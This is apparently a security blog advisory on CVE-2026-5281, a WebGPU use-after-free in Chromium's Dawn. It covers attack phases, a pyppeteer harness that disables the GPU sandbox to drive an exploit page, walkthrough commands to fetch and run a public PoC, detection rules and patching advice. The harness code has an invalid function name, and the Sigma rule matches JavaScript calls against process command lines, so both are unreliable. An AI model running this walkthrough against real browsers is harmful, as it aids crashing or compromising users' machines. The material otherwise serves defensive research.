UNKNOWN CVSS: N/A โ€ข 2026-04-20

CVE-2026-5281: Google Dawn WebGPU Use-After-Free Allows Sandbox Escape

Critical UAF in Chromium's Dawn WebGPU implementation enables renderer-to-broker process escalation. KEv listed.

โš  No Runnable Lab

Important Note for Researchers: CVE-2026-5281 affects Google Dawn, the underlying C++ implementation of the WebGPU API within Chromium-based browsers. The vulnerability relies on hardware-accelerated GPU contexts, complex race conditions in the command scheduler, and specific heap grooming behaviors that are tightly coupled to the host OS graphics stack (D3D12, Metal, or Vulkan).

Because the attack surface requires a live GPU driver interaction and a vulnerable browser binary (< 146.0.7680.178), this vulnerability cannot be reproduced in an isolated Linux Docker container. There is no Vulhub coverage, and attempting to fake a Docker environment will fail to trigger the Dawn lifecycle flaw.

To validate this vulnerability, you must provision a vulnerable environment manually:

  1. Use a Windows, macOS, or Linux VM with a supported GPU.
  2. Install a Chromium-based browser version older than 146.0.7680.178.
  3. Follow the manual exploitation walkthrough below.

1. Executive Summary

CVE-2026-5281 is a critical Use-After-Free (UAF) vulnerability in Google Dawn, Chromium's WebGPU implementation. Listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, this flaw allows an attacker with the ability to render a malicious HTML page to trigger a race condition in the GPU command scheduler.

By rapidly submitting and freeing CommandBuffer objects while they are still referenced in Dawn's asynchronous task queues, an attacker can manipulate GPU memory allocation. Heap grooming techniques allow the injection of attacker-controlled data into freed slots. When the GPU backend processes these corrupted commands, it results in arbitrary memory read/write operations within the browser process context.

This vulnerability effectively bypasses the Chromium sandbox, potentially escalating from renderer compromise to full browser process control and system compromise. The risk score is rated at 100, and mitigation requires immediate patching or WebGPU disabling.

CVE At a Glance

Attribute Value
CVE ID CVE-2026-5281
CWE CWE-416 (Use-After-Free)
Severity Critical (Risk Score: 100)
Status Kev Listed
Affected Components Google Dawn (WebGPU)
Affected Products Chrome, Edge, Opera, Chromium < 146.0.7680.178
Platforms Windows (D3D12), macOS (Metal), Linux (Vulkan)
Published 2026-04-01

2. Technical Deep Dive

Component Analysis: Google Dawn

Google Dawn is the cross-platform graphics abstraction layer used by Chromium to implement the WebGPU API. It sits between the browser's JavaScript engine and the OS-specific graphics drivers (via ANGLE). Dawn manages the lifecycle of GPU resources, including buffers, textures, and CommandBuffer objects, which record sequences of GPU operations to be submitted for execution.

Vulnerability Mechanics

The vulnerability stems from a lifecycle management race condition in Dawn's command submission pipeline. When a CommandBuffer is submitted via device.queue.submit(), Dawn's internal scheduler retains references to the associated resources to ensure they remain valid while the GPU processes them asynchronously.

The flaw occurs when the exploit triggers a release of a CommandBuffer or its underlying memory while a dangling pointer remains active in the scheduler's pending task queue.

Attack Phases

  1. Context Initialization:
    The payload requests a WebGPU adapter and device. A hidden <canvas> forces GPU context creation. This establishes the attack surface within Dawn's renderer process.

  2. UAF Trigger Construction:

    • The attacker allocates GPU buffers and compiles compute/render pipelines.
    • Race Condition: The script rapidly submits multiple CommandBuffer instances.
    • Dawn retains references to these buffers in the async task queue.
    • The payload deliberately triggers a release sequence that frees a buffer while it is still queued for processing.
    • Heap Grooming: The attacker floods the heap with specific allocations to ensure the freed region is reallocated with controlled data (e.g., fake descriptor tables or shader constants).
  3. Escalation:

    • The GPU backend (D3D12/Metal/Vulkan) attempts to process the CommandBuffer using the corrupted pointer.
    • Because the scheduler operates in the browser process space, the invalid memory access occurs there.
    • The attacker gains arbitrary read/write primitives in the GPU memory space, which can be leveraged to:
      • Leak sandbox boundaries.
      • Overwrite critical pointers.
      • Execute JIT spray or shellcode.
    • Verification: The exploit attaches listeners to gpuDevice.lost and uncapturederror events. If the UAF causes the GPU driver or validation layer to fault, these events fire, confirming the trigger.

3. PoC Analysis

The security researcher Umair Aziz (umair-aziz025) has published a research toolkit containing an automated test harness for CVE-2026-5281. The toolkit includes a Python-based automation script using pyppeteer to launch a vulnerable browser, monitor console output for crash signals, and validate the UAF trigger.

PoC Repository:
https://github.com/umair-aziz025/CVE-2026-5281-Research-Toolkit

Automated Test Harness

The script cve_2026_5281_automated_test.py demonstrates how to validate the vulnerability in a controlled manner. It launches a headless browser with WebGPU enabled and monitors for fatal signals.

import asyncio
import argparse
import json
import logging
from datetime import datetime
from pathlib import Path

from pyppeteer import launch

logging.basicConfig(
    level=logging.INFO, 
    format='%(asctime)s [%(levelname)s] %(message)s'
)

FATAL_MARKERS = (
    "GPU DEVICE LOST",
    "CRASH DETECTED",
    "VULNERABILITY CONFIRMED",
)


def ensure_parent_dir(file_path: str):
    p = Path(file_path)
    p.parent.mkdir(parents=True, exist_ok=True)


def classify_console_line(text: str):
    upper = text.upper()
    if any(marker in upper for marker in FATAL_MARKERS):
        return "fatal"
    if "UNCAUGHT GPU ERROR" in upper and any(x in upper for x in ("DEVICE LOST", "GPU HANG", "CONTEXT LOST", "OUT OF MEMORY", "INTERNAL ERROR", "REMOVED")):
        return "fatal"
    if "MAX ATTEMPTS REACHED WITHOUT CRASH" in upper:
        return "non_fatal_terminal"
    return "info"

async def test_cve_2026-5281_headless(url: str, timeout_seconds: int, browser_path: str):
    logging.info("Starting Headless Automated Testing for CVE-2026-5281 UAF...")
    run_data = {
        "started_at": datetime.utcnow().isoformat() + "Z",
        "url": url,
        "timeout_seconds": timeout_seconds,
        "browser_path": browser_path,
        "console": [],
        "status": "running",
        "signals": {
            "fatal": False,
            "max_attempts_without_crash": False,
        },
    }

    def on_console_message(msg):
        text = msg.text
        classification = classify_console_line(text)
        run_data["console"].append({
            "ts": datetime.utcnow().isoformat() + "Z",
            "classification": classification,
            "text": text,
        })
        logging.info(f"BROWSER CONSOLE: {text}")
        if classification == "fatal":
            run_data["signals"]["fatal"] = True
        if classification == "non_fatal_terminal":
            run_data["signals"]["max_attempts_without_crash"] = True
    
    # Launch browser with parameters allowing WebGPU natively
    browser = await launch(
        headless=True,
        executablePath=browser_path,
        args=[
            '--enable-unsafe-webgpu',
            '--disable-gpu-sandbox',   # Disabling sandbox to ensure direct hardware testing
            '--enable-features=Vulkan',
            '--use-angle=vulkan'       # Depending on platform, you could also configure to 'd3d11' or 'default'
        ]
    )
    
    page = await browser.newPage()
    
    # We must listen to console logs generated by our exploit HTML
    page.on('console', on_console_message)
    
    try:
        logging.info(f"Navigating to exploit payload on {url}")
        await page.goto(url, {'waitUntil': 'domcontentloaded'})
        
        logging.info(f"Waiting for exploit to execute. The automated headless script will run for up to {timeout_seconds} seconds.")
        await asyncio.sleep(timeout_seconds)
        run_data["status"] = "completed"
        
    except Exception as e:
        # A successful DoS or context crash might actually break the Pyppeteer protocol connection
        logging.warning("Exception caught while connected. This could mean the GPU rendering engine cleanly crashed the headless tab!")
        logging.error(f"Error trace: {e}")
        run_data["status"] = "exception"
        run_data["exception"] = str(e)
    finally:
        logging.info("Attempting to close the headless browser.")
        try:
            await browser.close()
            logging.info("Browser closed gracefully.")
        except Exception as e:
            logging.warning("Browser was completely hung or killed! (Expected during DoS)")
            run_data["status"] = "browser_hung"

    run_data["ended_at"] = datetime.utcnow().isoformat() + "Z"
    return run_data

Key Observations from PoC:

  • The PoC uses --disable-gpu-sandbox. While useful for isolated testing to observe raw crashes, real-world exploitation targets the sandbox. The PoC author recommends caution when running this in production environments.
  • The script monitors for specific console markers emitted by the JavaScript exploit, allowing for deterministic detection of the UAF trigger without manual inspection.
  • The vulnerability can cause the browser process to hang or crash, effectively providing a Denial of Service capability even if full code execution fails.

4. Exploitation Walkthrough

For security engineers validating this vulnerability in a lab environment, follow these steps. Ensure you are using a vulnerable browser version.

Prerequisites

  • Target: Chromium-based browser version < 146.0.7680.178.
  • OS: Windows 10/11 (D3D12) or Linux with Vulkan support recommended.
  • PoC: Clone the research toolkit:
    git clone https://github.com/umair-aziz025/CVE-2026-5281-Research-Toolkit.git
    cd CVE-2026-5281-Research-Toolkit
    pip install pyppeteer
    

Steps

  1. Serve the Exploit:
    Navigate to the toolkit directory and start a local HTTP server to serve the HTML payload.

    python -m http.server 8080
    
  2. Launch Vulnerable Browser:
    Open a vulnerable browser manually or prepare the path for the automator. Ensure WebGPU is enabled.

    • Chrome: chrome://flags/#enable-unsafe-webgpu set to enabled.
  3. Run the Automator:
    Execute the Python script pointing to the local exploit URL. Adjust the browser_path to match your installed binary.

    python cve_2026-5281_automated_test.py \
      --url http://127.0.0.1:8080/index.html \
      --timeout 30 \
      --browser-path "/usr/bin/google-chrome"
    
  4. Observe Results:

    • Success: Console output will display CRASH DETECTED or GPU DEVICE LOST. The script status will return fatal_signal_detected.
    • Failure: The script times out with max_attempts_without_crash. This may indicate the browser is patched or the GPU backend differs significantly from the exploit assumptions.
  5. Safety Note:
    The exploit is known to cause browser crashes. In automated environments, the browser process may terminate, breaking the automation connection. This is an expected behavior during validation.


5. Detection & Monitoring

As CVE-2026-5281 is a memory corruption vulnerability, traditional signature-based detection may be limited. However, behavioral telemetry and specific WebGPU usage patterns can aid in detection and defensive filtering.

Sigma Rules

title: Suspicious WebGPU Context Manipulation via Dawn
id: sigma_cve_2026_5281_webgpu_uaf
description: Detects potential exploitation of CVE-2026-5281 through abnormal WebGPU command buffer submission patterns.
status: experimental
author: iLoveThreats Research
logsource:
    category: process_creation
    product: browser
detection:
    selection:
        CommandLine|contains:
            - '--enable-unsafe-webgpu'
            - '--use-angle=vulkan'
            - '--enable-features=Vulkan'
    selection_exploit:
        CommandLine|contains:
            - 'requestDevice'
            - 'computePassEncoder'
            - 'gpuDevice.lost'
    condition: selection and selection_exploit
falsepositives:
    - Legitimate WebGPU application development
level: high

YARA Rule for PoC Detection

rule YARA_CVE_2026_5281_POC_JAVASCRIPT {
    meta:
        description = "Detects JavaScript patterns associated with CVE-2026-5281 PoC"
        author = "iLoveThreats"
        cve = "CVE-2026-5281"
    strings:
        $js1 = "navigator.gpu.requestAdapter" nocase
        $js2 = "device.queue.submit" nocase
        $js3 = "gpuDevice.lost" nocase
        $js4 = "uncapturederror" nocase
        $py1 = "pyppeteer" nocase
        $py2 = "enable-unsafe-webgpu" nocase
    condition:
        any of ($py*) and 3 of ($js*)
}

Nuclei Template for Version Check

id: cve-2026-5281-version-check

info:
  name: CVE-2026-5281 Vulnerable Browser Detection
  author: iLoveThreats
  severity: high
  description: Checks if a Chromium-based browser version is vulnerable to CVE-2026-5281.
  tags: cve,cve2026,dawn,webgpu

requests:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers-condition: or
    matchers:
      - type: word
        part: header
        words:
          - "Chrome/145"
          - "Chrome/144"
          - "Chrome/143"
        condition: or

6. Remediation Guidance

Patching

The vendor has released a patch for this vulnerability. Update all affected software immediately.

  • Google Chrome: Update to 146.0.7680.178 or later.
  • Microsoft Edge: Update to the latest stable channel version.
  • Opera: Update to the latest stable channel version.
  • Chromium: Ensure build date and version correspond to the patch release.

Mitigations

If patching is not immediately possible, apply the following mitigations:

  1. Disable WebGPU:
    Force-disable the WebGPU API via browser policies or command-line flags to remove the attack surface.

    • Flag: --disable-webgpu
    • Chrome Policy: WebGPUEndpoint = "Disabled"
  2. Restrict GPU Access:
    Ensure the browser sandbox is strictly enforced. The PoC disables the sandbox for testing, but production deployments must have --disable-gpu-sandbox absent and sandbox policies enabled.

  3. BOD 22-01 Compliance:
    For cloud services and managed endpoints, follow applicable BOD 22-01 guidance. Isolate browser sessions, limit renderer privileges, and deploy runtime application self-protection (RASP) solutions that can detect memory corruption anomalies.

  4. Network Filtering:
    Monitor for outbound connections from browser processes attempting to access internal resources, which may indicate sandbox escape attempts following exploitation.


7. References


Disclaimer: This blog post is for educational and defensive research purposes only. Exploitation of vulnerable systems without authorization is illegal. Researchers are encouraged to test only in environments they own or have explicit permission to assess.

๐Ÿงช Lab Environment

A hands-on lab environment for this vulnerability is not yet available. Our automated builder is continuously adding new labs โ€” check back soon!

When available, you'll get:
  • ๐Ÿ”ฌ A vulnerable target instance to practice exploitation
  • ๐Ÿ–ฅ๏ธ Browser-based Kali Linux with pre-installed tools
  • ๐Ÿ”’ Completely isolated network โ€” no internet access
  • โฑ๏ธ 1-hour session with automatic cleanup